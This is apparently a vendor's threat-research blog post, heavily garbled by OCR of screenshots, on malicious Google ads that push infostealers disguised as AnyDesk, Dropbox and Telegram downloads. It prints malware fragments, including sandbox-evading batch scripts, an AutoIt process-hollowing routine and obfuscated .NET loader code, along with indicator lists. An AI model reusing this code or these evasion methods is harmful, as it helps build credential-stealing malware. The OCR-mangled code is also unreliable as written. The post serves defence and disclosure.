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In the past month, Morphisec has investigated the origin of several increasingly prevalent
infostealers. These include Redline, Taurus, Tesla, and Amadey.

As part of our research, we identified pay-per-click (PPC) ads in Google’s search results that
lead to downloads of malicious AnyDesk, Dropbox and Telegram packages wrapped as
ISO images.

The PPC ads targeted specific IP ranges in the US and probably some other countries. Non-
targeted IPs are redirected to legitimate pages that download the correct applications.

The advertisements being on the first page indicates the need for constant vigilance on all
levels. Adversaries will clearly take all opportunities possible to target their chosen victims,
even going so far as to use legitimate services such as Google Adwords.

In this threat post we will go through three attack chains that lead to Redline, Taurus and a
new mini-Redline infostealer compromise. We will focus on two adversaries because of
similarities in patterns, certificates, and C2s. The first adversary leverages Redline and the
second uses Taurus and mini-Redline.

We will cover Amadey in a separate blog post.

Technical Introduction
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All of these attack chains start with one of a dozen paid Google ads that lead to a website
with an ISO image download. The ISO image size is larger than 100MB, which allows the
image to evade some scanning solutions that are optimized on throughput and size.

Mounting the ISO image leads to executables that are usually, but not always, digitally
signed and legitimately verified.

Adversary One delivers the Redline infostealer.

.Net executables are obfuscated with known obfuscators such as DeepSea, which
leads to a custom obfuscated .Net DLL loader that eventually leads to a custom
obfuscated Redline stealer .Net executable.

Adversary Two delivers Taurus and a mini-Redline infostealer.

o Taurus Autolt - 7fx executables that recreate and execute a legitimate Autolt compiler
with a malicious Autolt script and a malicious encrypted Taurus executable that will be

hollowed into the Autolt process.

e Mini-Redline - A minimized .Net version of the Redline stealer with some common
functionality for stealing data from browsers. It features different configuration and
communication patterns wrapped in four layers of obfuscation.

Redline Infostealer

As can be seen from the image below, a simple search for “anydesk download” leads to
three pay-per-click Google ads. All three lead to malicious infostealers. . The first 2

advertisements lead to a Redline stealer while the third one leads to the Taurus infostealer.
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il G /4GLE anydesk download X | & Q

Q Al [ Books [E News [ Videos ¢ Shopping i More Settings  Tools

About 3,700,000 results (0.50 seconds)

Ad - http://me.anydesk-pro.com/ ~

Anydesk - desktop

highlights your corporate identity and renders your access application. Customizing your
software with your own brand and logo effectively. Check Pricing. Read Blog. Sign Up For Offers
Highlights: Help Center Available, Chat Option Available, Newsletter Available.

Ad - hitp://pc.anydesk-go.com/
Anydesk - Desktop
effectively highlights your corporate identity and renders your. Customizing your software with

your own brand and logo. Check Pricing. Sign Up For Offers. Read Blog. Highlights: Help Center
Available, Chat Option Available, Newsletter Available.

People also search for

anydesk free download for windows 10 anydesk download for mac
anydesk download windows 10 anydesk app download for pc
anydesk free download for windows 7 anydesk download for ubuntu
anydesk app download anydesk android

Ad - hitps://www.anydesk-en-downloads.com/ =

AnyDesk Download for PC - Remote Desktop Software

Discover AnyDesk - Your Remote Desktop Software For Windows. Remote Desktop Software
for Windows.
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TheRedline infostealer websites are signed by a Sectigo certificate, as seen in the image

below.
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|| ajax-loader.gif
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Certificate status: type-op!
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; x-frame-options: SAMECRIGIN
|| arrow-left-T.svg :

x-xss-protection: 1; mode=block
|| arrow-right-1.svg

|| Anydeskiso + | ¥ Request Headers
33 requests | 9.6 kB tr :authority: desklop.pc-whatisapp.com

Double Clicking the download button on any of the websites will lead to a script execution
that verifies the IP and delivers the artifacts from one remote website “hxxps.//desklop.pc-
whatisapp[.Jcom/”.

4 8 desklop.pc-whatisapp.com

Index of /

Name Last modified Size Description

888 7ip 2021-05-27 08:46 948K The artifacts are
Anvdeskiso  2021-05-27 14:42 109M
Dropbox.iso  2021-05-27 14:42 109M
tsetup 2.5.2.150 2021-05-27 14:42 105M

updated and re-uploaded to the website every couple of days.

As mentioned before, every ISO file includes a very small .Net executable. In some cases,
this executable is also digitally signed.
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This PC » DVD Drive (E:) 20210527_000310 v D Search DVD Drive (E

~ MName Date modified Type Size
E,J Anydesk.exe 5/ 21 11:01 AM Application 314 KB
#7 Anydesk.exe Properties *
- General Compatibiity Digital Signatures  petails
File Settings Signature list
H Anydesk.exe
- Name of signer: Digest algorithm Timestamp
| IS falne Istack2 sha2se Wednesday, May 26...
Bl [F]File: Anydesk exe File N E\Anydesk
— (=] Dos Header feMame AAnydesk.exe
(=l Nt Headers File Type Portable Executable 32 \NET Assembly
j 25::?5;5 - File Info Microsoft Visual Studio .NET
=] Data Directories [x] File Size 313.84 KB (321368 bytes)
& Section Headers ] PE Size 30050 KB (316928 bytes)
— |2 Import Directory
— |2 Resource Directory Created Wednesday 26 May 2021, 11.01.54
[ (2D Relocation Directory Modified Wednesday 26 May 2021, 11.01.54
) .NET Directory
=] MetaData Header Accessed Monday 01 January 1601, 03.00.00
= MJBT;E’a*a Streams MD5 A340BSE6585FTEGE0TEDI9T4BBAEFF2T
2 Tables Header SHA-1 FG63FEES964491FT6CEETIFO07ASD26ESF
Tables
3 gat;ngs Property Value
by = #3UID Comments Soap12FaultCodes ProjectloadSett
=d 313 KB (=] #Biob CompanyMName 1SymbolNamespace
— *"!,Mttm Converter
— FileDescription WebScriptEndpointElement
ks Dependency Walker P P P —
— " Hex Editor FileVersinn 97R.85.78R.779
« Bk THREAT DETAILS el Export  Reclassif T
28 MAY 2021/11:05 PM ANYDESK CODE INJECTION 2 PROCESS HOLLOWING ATTACK l"l

Q

I;' i explorerexe \nydesk.exe anydesk

ANYDESK - EXTENDED INFO

Threat Module:

Process File path

C:\Users

deddot

Det d DeepSea 4.1

C:h\Usershuseri\Desktophdeddo
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The second layer is actually a custom obfuscated .Net DLL that executes in memory.

CSharp.RuntimeB

(Microsoft.CSharp.RuntimeBinder.

Finally, the third layer is the well known Redline infostealer. It communicates back with
jasafodidei[.]xyz:80.

d Interfac

(string[] args) .

b

As the infostealer is well covered by other researchers, we decided to end with a snapshot
showing the variety of databases this infostealer targets. Surprisingly, this infostealer targets
browsers that are also used in Russian-speaking countries
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Taurus Infostealer

The Taurus infostealer is delivered in a similar way and appears as the third paid ad in a
search for the popular applications mentioned in the introduction.

This time the website is signed with a legitimate Cloudflare certificate. Like the Sectigo
certificate used with Redline, the Taurus certificate is not older than two weeks

In the Taurus case, we did not see any redirects to additional websites. As can be seen in
the image below, the download results from a submitted form that is handled by “get.php”
and in turn delivers the ISO image directly from the website.
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This eertificate is intended for the following purpose(s): Remote Address: 172,67.187.194:443
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* Refer to the certfication authoriy's sta it for detale alt-sve h3-27-":443"; wa=86400, h3-28=":443"; ma=86400, h3-20-":443"; ma-
cf-cache-status: DYNAMIC
N
Download Now Tssued to: sni.doudfaressl.com ef-ray: 65608:0605421705-EUR
cf-request-id: 82571631c 3808617054 29c0808060E1
Tssued by: Cloudfare In 56C CAS content-length: 106165320

content-type: application/x-i509568-inzge
Valid from 5/12021 to 5/14/2022 date: Sat, 29 May 2021 00:13:85 GMT

¢ max-age=604808, report-uri="https://report-uri.cloudflare.com/c

Thu, 27 May 2021 12:07:48 GMT
nel: {*regort_to":"cf-nel”, “max_age" 664368}

report-to: {"endpeints”:[{"url”:"https:\/\/a.nel.cloudflare.com\/repart\/y

2 requests | 6388 transferred | 08 resources

aC

Console  What's New X

If the target is not within the range of interesting IP addresses, users will see a normal
redirect to the legitimate application website like in the Redline infostealer.

& anydesk-en-downleads.com b4 E U ]
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AnyDesk Filter O Hide data URLs [} | XH& J5 CSS Img Media Font Doc WS Marifest Other () Has blocked cokies () Blocked Requests
() Use large request rows O Group by frame
Show overview O Capture screenshots
Get AnyDesk for | mom e e s o wee me wme wee e
- -
Windows
Name X Headers Preview Response Initiator Timing Cookies
. o o [] coliect * General
No email, registration or installation required 1622253043275 B s o
— Request URL: https://download. anydeskc. com/AnyDesk. exe?__hstc=127598166. bd5aT
. . L
2 ?randor 1622253843275 8num=1. 106FeBe 2164774, 1622253802091 . 18_hs5c=127809106
et 40384 1517262389 918__hsfp=24842570958_ =2.225053978. 1447441444, 1622253802 - 457356088.16222¢
Download Now O T e e :
Request Method: GET
|2 7random=67 536432758mnum= 18wval...£Sphp0-Eh...
6.3.1 (3.8 MB) 0] collect Status Cade: & 200
ve.3. 2
- Remote Address: 156.40.104,135:443
] Trondom=6760235088ev=081t<162225304327S8nur 10l GIOWGaPsg.. | oot LTSRS YR H0A 0 13 .
S e erver Polcy: strict-origin-shen-cross-origin
| keyword/ ~ Response Headers
acceptranges: bytes
cache-controk no-cache
content-length: 3763544
Windows ) content-type: application/octet-strean

date: Sat, 29 May 2021 02:94:94 GHT

ctag: "60837d11-396ees”

The downloaded ISO image consists of a 7z SFX executable.
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This PC » DVD Drive (F2)

~
Mame Date modified Type
AnyDesk.exe 5/27/2021 1:31 PM Application
AnyDesk.exe Properties x
General Compatibility Details
AnyDesk.exe
Type of fle:  Application {.exe)
Description: 7z Setup SFX (x86)
Location: F:\
Size: 101 MB (106,115,892 bytes)
Size on disk: 101 MB (106,117,120 bytes)
Created: Thursday, May 27, 2021, 1:31:33 PM
Modified: Thursday, May 27, 2021, 1:31:33 FM
Accessed:
Attributes: Read-only ] Hidden [ archive
01 MR

Size

103,629 KB

The executable includes either 4 “flv” or 4 “bmp” files in the examples we cover below. Sfx is
configured to start the execution from the first batch file (masquerading as either flv, bmp or
any other unique extension). The batch script is then redirected as input into cmd.exe.

<k THREAT DETAILS

28 MAY 2021/10:45 PM

) & ——l <
& X
N
userinitexe = p':}'@‘ exe

CMD.EXE - EXTENDED INFO

Process File path:

Command Line:

< ALLEXE

O AnyDeskexe

o~
< —
N/

) emd.exe

CODE INJECTION

1 < <)
¥z ¥z | L Xz
./ > >/
| cmd.exe ,:t- Aliexe.com @O Aliexecom

Archive  Export

@ PROCESS HOLLOWING ATTACK

- P
N o
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» AppData » Local » Temp » 7ZipShe001 ™

Accompagna.flv Aliexecom Dal.flv p Piramide.flv Scegliendo. flv

Qf’ ChUsershuseryAppDatatLocal Ternph\ 7Zip5fx 001N Accompagna.flv - Motepad++
File Edit Search View Encoding Language Settings Tools Macre Run Pluging  Window 7
cHEHERLE ko ciay 2% EBE(S1EEEAE®|EEI

[=] Accompagna fiv E4 |
] Set FHgTl=%userdomalin%
Set //Stringz2//=DESKTOP-Q050QU33

Ba

3 if *FHgQT1l%*=—%//String2//% exit

4 <nml set fp = "MZI" > Ali.cxXe.com

5 findstr /V /R ""PZWgRSAANKBghWQigxabxEvEisbBSoHJPRVHIQLzijOPseyReEsUBAPAITHWxsIaRwil
] copy Piramide.flv p

start All.exe.com p
ping 127.0.0.1 -n 30

TR e ]

©» AppDsta > Local » Temp » TZipS002 v o | o seercnzipston _

finternals: www.sysinternals.com [DESK

focess Find  Users Help
a - A = SIERITY'S

CPU  Private Bytes | W
1.982K
007 2164 K
11708 K

Debbanc.bmp Dio.exe.com Eri.bmp s Tutti.bmp Uscio.bmp

X C\Users\user\AppData\Local\ Temph 7ZipSfx.002\Uscio.bmp - Notepad++

le Edit Search View Encoding Language Settings Tools Macre Run  Plugine Window 7
HHERGE s ah 2e(aR % EF =1 EREHa®| 06D F |2
| Accompagna flv dlns JlHDehbano bmp 3 = Uscio bmpml
1 [et lghBvmD=%userdomain
Set //String2//=DESKTOP-QO5QU33
if #lghHvmD%==%//String2//% exit
<nul set /p = "MZ" > Dio.exe.com
findstr /V /R ""bZinATPcbfgnIanPkSccrDdcjaxXECBgWXhRPyEwMEITnngKeRopygpUILkinSOVOMCLyHZuDzJ0TEX0aJVizapWNaorUiDTns" Tutti.bmp >> Dio.exe.com"
copy Debbano.bmp s
start Dic.exe.com 3
ping 127.0.0.1 -n 30

0 o1 oot W B

This batch script is well documented. It is responsible for the re-creation of the legitimate
Autolt compiler (Ali.exe.com or the Dio.exe.com in the examples above) and the execution of
the malicious Autolt script (Pramide.flv or the Debbano.bmp). Through the re-created
compiler, it will fail to execute upon detection of a known sandbox provider. A VirusTotal
search for additional 7z SFX archives with a similar evasion will lead to more than 400
different files uploaded in the past month.
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O FILES 20/503 A sodays g = O ¥
iy e s s s
Detections Size First seen Last see Submitters
2021-05-28 2021-05-28
13 /68 169 MB 1 ff?
O ! 11:12:33 112:33
peexe invalid-signature  signed  overlay  direct-cou-clock-access  detect-debugrenvironment  long-sleeps
BBET4166EDBABECG613: BEAA4ABBOBAG34D
o 2021-05-28 2021-05-28 o
7 / 62 MB ﬂ?%b
O 7170 16zM 10:32:16 10:32:16 ! il
peexe  invalid-signature  signed  overlay  direct-cou-clock-access  detect-debugrenvironment  long-sleeps
59246F BF51812B386656DA20
) 2021-05-28 2021-05-28 7%
O 2170 10:17:19 10:17:19 ! =
peexe invalid-signature  signed  overlay  direct-cpu-ciox detect-debug-environment  kong-sleeps
47618681083B4C259BEDA2F 86939F D6EF67]
2021-05-28 2021-05-28
TI5fx xB6.exe /7 69 M /§Eﬂ
O 20170 167 ME 07:43:11 07:43:1 ! o
peexe overlay runtime-medules  signed  direct-cpu-clock-access  invalid-signature
CBB94DASFD277F47FTTBD30D8797111AD: 2BA17 B6624FCARD
2021-05-28 2021-05-28
) < T5TaMod_x86.exe 131 66M Eié
O - 3170 166 ME 05:44:32 05:44:32 !
peexe overlay runtime-medules  signed  deleci-debug-environment  long-sleeps  direct-cpu-clock-access
ECSC4FBAGACOTFE21FEBF29B23280F33217B98C0FAC3BT6BESBE3ATE! )
. 2021-05-28 2021-05-28 =
Versalia Listen.exe 16 /69 12.07 MB 1
U 02:31:21 02:31:21 i
peexe overlay direct-cpu-clock-access  detect-debug-environment  runtime-modules  exe ropped-file
46870ER4E2BESFE230F 3B BEGDSD3A1BDB22A49965A853B86785F
2021-05-27 2021-05-27 1
0 6169 186 MB . . 1 e
19:04:20 19:04:20 78
peexe overlay direct-cpu-clock-access  detect-debug-environment  long-sleeps  runtime-modules
8CF5E52862AA288AD2FC6TCC3FCS6 ED4D147B2186
2021-05-27 2021-05-27
725FxMod_x86.exe /69 \V
O 5169 164 ME 18:06:36 18:06:36 ! @
peexe overlay  direct-cpu-clock-access  detect-debug-environment  long-sleeps  runtime-modules
2021-05-27 2021-05-27 i
30 /68 65 M +
O 0/ res e 17:3159 17:31:59 !
peexe overlay runtime-modules  detect-debug-environment  long-sleeps  direct-cpu-clock-access
2021-05-27 2021-05-27
65 s3MB By
O 1069 16z 17:0854 17:08:54 ! E{*‘

peexe overlay runtime-modules  detect-debug-environment  long-sleeps  direct-cpu-clock-access

The Autolt script supports both 32 and 64 bit processes (slightly deobfuscated).

Func HollowProcess({VuaffEoJGGsdB SHYLmDhkt " ulkMRzpNarPPwh =)
Local %JLpNZgMDOn - D11StructCreate("byte[” & Binarylen(#VuaffEo]GGsdB) & "]")
D11StructSetData($JLpNZgMDONn, 1, ‘VuaffEolGGsdB)
Local invmTGJeaota D11StructGetPtr(?JLpNZgMDON)
SjvDXbFeG "dword cbSize; ptr Reserved; ptr Desktop; ptr Title; dword X; dword Y; dword XSize; dword YSi. dword XCountChars; dword YCountChars;
pQSrbtl - "dword FillAttribute; dword Flags; word Showlindow; word Reserved2; ptr Reserved2; ptr hStdInput; ptr hStdOutput; ptr hStdError®
Local “HbgiVNgn - Dl1StructCreate(:SjvDXbFeG pQsrbtL)
Local $yNJFvdfdB - D11StructCreate("ptr Process; ptr Thread; dword ProcessId; dword
Local $LOyocrhjIq - D11Call("kernel32.d11", "bool", "CreateProcessW","wstr", Null,” ulkMRzpNarPPwN SHYLmDhkt , "ptr"
Local $kXHObUuKsI - eGMeknzqSQXyWZOBaUsSgfHlk(%yNIFvdfdB, "Process")
Local mgAfXFM - eGMeknzqSQXyWZOBaUsSgfH1k(%yNIFvdfdB, “"Thread™)
Local $CNWBZFBFT - eGMeknzqSQXyWZOBaUsSgfHlk(iyNIFvdfdB, “ProcessId")
AutoItX64 And ywNSbIFNWRQiaeh($kXHObUuKsI) Then D11Call("kernel32.d11", "bool", "TerminatePrc ", "handle" kXHObUuKsSI, “dword"

Local $PwQZvoFlUcftI uHmonP
AutoItXe4 Then
0SArch "X64™ Then
PwQZvoF1UcftI
uHmonP_Part1 align 16; uint64 P1Home; uint64 P2Home; uint64 P3Home; uint64 PAHome; uint64 P5Home; uint64 P6Home; dword ContextFlags; dword MxCs
uHmonP_Part2 nt64 Rbx; uint64 Rsp; uint64 Rbp; uint64 Rsi; uint64 Rdi; uint64 R8; uint64 R9; uint64 R10; uint64 R11; uint64 R12; uint64 R1
uHmonP_Part3 - "uint64 Xmm8[2]; uint64 XmmO[2]; uint64 Xmml16[2]; uint64 Xmml11[2]; uint64 Xmm12[2]; uint64 Xmm13[2]; uint64 Xmm14[2]; uint64 Xmml5[
uHmonP = D11StructCreate(?uHmonP_Partl uHmonP_Part2 uHmonP_Part3)

PwQZvoF1UcftI
End

PwQZvoF1UcftI il
uHmonP_Part4 - "dword ContextFlags; dword Dr@; dword Drl; dword Dr2; dword Dr3; dword Dr6é; dword Dr7; dword ControlWord; dword StatusWord; dword Tagho
uHmonP_Part5 "byte RegisterArea[80]; dword Cr@NpxStat dword SegGs; dword S ; dword SegEs; dword SegDs; dword Edi; dword Esi; dword Ebx; dword E
uHmonP - D11StructCreate(%uHmonP_Partd & “uHmonP_Part5)

EndIf

Local #SnYAH
PwQZvoF1UcftI
Case 1
SnYAH
Case 2
SnYAH
Case 3
SnYAH
EndSwitch
D11StructSetData(fuHmonP, "ContextFlags”, %SnYAH)
LOyocrhjIg - D11Call("kernel32.d11™ bool™, "GetThreadContext™,"handle" mgAfXFM, "pti D11StructGetPtr(ZuHmonP))

It also implements persistence through a URL link directly in the startup folder. The link
executes Javascript from a hidden folder under roaming (use attrib -H to unhide).
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user * AppData * Roaming * nHUCocdMwh w | 0

s

Mame Date modified Type Size
B D Dal flw 3/29/2021 5:45 AM FLV File 342 KB
D J 5/29/2021 5:45 AM File 1,146 KB
. [8=] WZ0OAMIGsaG.exe.com 5/20/2021 5:45 AM M5-DO5 Applicati... 873 KB
o XUSedcSbhb.js 5/29/2021 5:45 AM JavaScript File 1KE
-
+

View

* 3 AppData » Roaming » Microsoft » Windows » Start Menu » Programs 3 Startup

Fat

Mame Date modified Type Size

‘,:.- WZOAMIGsaG 5/29/2021 5:45 AM Internet Shortout 1KB

. =3 roperties
&) WZOAMIGsaG Properti *

General Web Document  Securty Details  Previous Versions

9 WZ0AMIGsaG

URL: | iData/Roaming/nHUCocdMwkid/XU5edcsbb,js

o - I

As in the previous batch file execution, the Javascript file executes the Autolt compiler with
the copied Taurus Autolt script.

«Back THREAT DETAILS Archive  Export  Reclassify Threat Log
28 MAY 2021/10:55 PM € WZOAMIGSAG.EXE CODE INJECTION @ PROCESS HOLLOWING ATTACK m
Q. Deskiop

Q DESKTOP-USER ~ ) @ o o) S WrOA © .
Windows 10 64-Bit explorer.exe KA wscript.exe A WZOAMIGsa... f:,g WZOAMIGsa... J2L wzoamigs...

WZOAMIGSAG.EXE.COM - EXTENDED INFO

Process Signature:

erAutolt Consulting Ltd gne 5Mar2018

Process File path:

C/Usersluser/AppData/Roaming/nHUCocdMWM/AWZOAMIGSaG execom

Command Line:

sers/user/AppData/Roaming/nHUCocdMwM/3
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Mini-Redline Infostealer

As with the Taurus campaign, the advertisement websites that lead to the mini-Redline
infostealer are also signed with Cloudflare certificates.

€ > C @ anydesk-onecom * O & [
%, Call Sales: +49 7T 217 246 705 “ [R @] | CElments Console Sources Network Performance Memory  Application  Security Lighthouse  AdBlock. 13 a1
® O | ¥ Q| Ofresevelog O Disblecache | Nothwoting v | £ &
#> AnyDesk s O e daea Unts ()| XHR 15 55 mg Medis Font Doc WS Manfest Other L) Hasblocked cockies ) Blcked equests
O Use large request rows. O Group by frame.
Show overvies O Capture screenshots
| 100ms 150ms 200ms 250 0 ssoms a0ms ssoms scoms ssoms 01
Remote Desktop ’
o Cetficste
Name X Headers Preview Response Initistor  Timing
oftware =z
[ ] getphp -

[] AnyDeskisa

f Certificate Information

AnyWhere' Any-l This certificate is intended for the following purpose(s):

‘Connect to a computer remotely, be|
around the world. AnyDesk ensures |

for IT professionals and on-the-go in |l SRR

3 man85900
Assued to: s doudfaressl.com

Issued by: Cloudfare Inc ECC CA-S

Valid from 5/17/2021 to 5/17/2022

com/con-cgi/beacon/

/reporth/v2?s=XbeKIN2Fpd:
Vel

The file inside the ISO is also padded with zeros to increase the size of the file for evasion
purposes.

F | Manage DVD Drive (E)
ne Share View Application Tools
+ 0 » ThisPC > DVD Drive (E:) v | B O Search
o~
Mame Date modified Type Size
‘Cess
" B AnyDesk.exe 5/24/2021 9:00 PM Application 105,472 KB
p
sads +
1ents +» ' AnyDesk.exe Properties X
= * General Compatibiity Details
ive (5] o
F 4 n AnyDesk.exe
Type of file:  Application (.exe)
Description:  Timeseries
e
Location: =
Size: 103 MB (108,003, 328 bytes)

Size on disk: 103 MB (108,003,328 bytes)

Created: Monday, May 24, 2021, 9:00:25 PM

The executable is a .Net assembly with an unknown obfuscation pattern; dynamic unpacking
of the assembly reveals four (4) layers of obfuscation and hollowing.

First Layer
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(

entHandler eventHandler = EventHandler(A_5.0s
eventHandler;
getEnumValuesProcessorArchitectureINTEL = A 5.
. 4 = getEnumValuesProcessorArchitectureINTEL;
num = (((A_4 == @) * 21 :8) + 26;
num;

b »B References
4 & Resources

0 @02000004 entArgs \u@ee3)

020000 T = S35
02000006 (num 1= 8)
003 @02000008
02000004 num2;
02000008 [1 array;
— (System.Void(System. Int328, System. Int328, System. Int32[]8), array,

0200000E

0200000F

02000010

02000011

02000013 [STAThread]
02000014
0200001F

02000020

i

num = 1;
02000020
AI000N3 (num != @)

0200002

02000022 num2;
02000023 [1 array;
02000024 (System.Void(System.Int32&,System. Int328&, System.Int32[]&),

02000025

02000028

0200002

6 @02000030

02000032

02000033

02000024

02000036

02000037 2. -0y

02000038

020000 0 = A_2[e];

02000028 [1 array = [A_2. - 11;

0200003C Array.Copy(A 2, 1, array, , array. T
0200002E A_2 = array;

0200003F J

Microsoft.visualBasic.CompilerServices;

HebrewlumberParsing

(4.00.00

References
; Resources ugzl, ugz3, projname)
{} HebrewNumberParsing r (ugzl, ugz3, projname):
4 5 Custat 200000!
b M Base Type and Interfaces
b M Derived Types

@, .cctor(): void @OS00003A

projname)
9 s, ; random =
@ cha(Bitmap): bytel] @0G00D03E
@ fgh(oytell, string) : bytel] @0600003D
): I
G00003F (random, 99088, 105000));
06000042 ‘anager resourceManager

(projname, *.Resourc

ughHbnBraht1Vioc = (Bitmap)
(resourceManager, CustAttr.XeH(ugz1));
array = Cus . fgh(CustAttr. cba(ughHbnBnaWt1vkx), C r.Xet(ugz3))
1y assembly tr

(array);

ype type
(assembly)[20];

ethodInfo methodInfo = C

(type)[515

(methodInfo, )

[H

[1 fenc

[] array = CustAttr

Third Layer




flag =
(flag)

Fourth Layer - Hollowed Mini-Redline

Finally, the last layer leads to some known stealing functionalities. An initial static look at the
file is reminiscent of Redline; not surprisingly a VT scan for the unpacked file shows that it
will confuse even the biggest security vendors. The method and strings implemented as part
of the Chrome credential theft are almost identical. In both cases, the databases are copied
to a temporary location before being decrypted, using similar methods and class names to
do so even though the number of targeted browsers is minimal.
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numy);

(num != @)

Nevertheless, the communication pattern is different. Mini-Redline uses a direct TCP socket
connection.

tcpClient = <Modulex.

tcpClient, 3
em.Boolean(), obj, 35 [rum - 16])} :

Some of the anti-debugging functionalities include “DebuggerHidden” attributes and
virtualization detection.
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en]

gparam_@)

a = gparam_8;

idden]

em. String .0Object[]), obj, text, arra .a[num2 - 36]);

Virtual Environment evasion checks using WMI.

returned

1g returned

Conclusion:

Adversaries will use any method possible to gather targets, even paying Google top dollar for
their paid search results to surface a malicious website as a top search result. This
inventiveness on the part of threat actors means that organizations need to be constantly
vigilant in all aspects of their operations. There’s no telling when an adversary will set up a
website with a signed, legitimate certificate designed to mislead website visitors.
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Threat actors are even clearly willing to pay substantial sums of money to target possible
victims. Google Adwords data between May 2020 and April 2021 shows a bid price of
between $0.42 and $3.97 for the two keywords “anydesk” and “anydesk download.”
Assuming a click-through rate of 1,000 people, this could result in fees anywhere from $420
to $3,970 for even a small campaign that targets the United States, for example.

D Keyword (by relevance) Avg. monthly searches = Competition Ad impression share Top of page bid (low range) = Top of page bid (high range) |
Keywords you provided

|:| anydesk 135,000 AV Low - $0.42 $2.00
Keyword ideas

D anydesk for windows 480 \ﬂ.\ Low - §0.92 52.58
D anydesk mac 3,600 —/\_M Low - 50.93 533
D anydesk windows 170 V-\,_v\/_ Low - $0.51 5176
D anydesk app 1,900 J/-/\ Low - 5039 5150
D anydesk online 170 _/'\/_N_ Low - 50.45 $1.83
[0 anydeskforpc 10 _/\_/—\/_ Low - 50.45 221
[0  anydesk for windows 10 210 h Low - 50.88 $3.97
[ anydeskpe 90 M\ Low - 50.42 5163
D anydesk free 5400 \/\N Low - 51.14 5336

Thankfully, Morphisec customers are protected against these infostealers through our zero
trust at execution technology powered by moving target defense.

URLSs Redline Infostealer

hxxps://me.anydesk-pro[.Jcom/
hxxps://desklop.telegram-home[.]Jcom/
hxxps://pc.anydesk-go[.Jcom/
hxxps://desklop.anydesk-new[.Jcom/

hxxps://desklop.pc-whatisapp[.]Jcom/

URLs Taurus and Mini-redline Infostealer

hxxps://anydesk-en-downloads[.Jcom/
hxxps://anydesk-one[.Jcom/
hxxps://anydesk-top[.Jcom/

hxxps://anydesk-connect[.Jcom/
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hxxps://anydesk-vip[.Jcom/

C2 - Redline infostealer

jasafodidei[.]xyz:80

ISO - Redline infostealer zip files

C249E79B05D3385A50BD0D54881B59BD

76118B65F29856DB2ABECD 1193D08CF 1

ISO - Taurus

476A504DB16C7E6972775B1160B4631C
FOEF3E84F172C8E869088F1FCF933B07

7DAB7515FC7C795A2AD2BD8D22F36A14

ISO - Mini-Redline

7B91DF7AF3BCOCFACFF46DB883BA784D

Taurus and Mini-Redline C2

109.234.37[.]201:15647

MORPHISEC

SEE MORPHISEC IN ACTION!

Contact us now to get a demo of Morphisec Guard, and see
how we make advanced security accessible to everyone. ‘
1 ||.||||||_|

THREATS OVER TIME

BOOK A DEMO

Contact Saleslnquire via Azure
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https://cta-redirect.hubspot.com/cta/redirect/1534169/50832359-01e9-4911-98db-45bd66a69b90
http://10.10.0.46/mailto:sales@morphisec.com
https://azuremarketplace.microsoft.com/en-us/marketplace/apps/morphisec.morphisec_unified_threat_prevention_platform?tab=overview

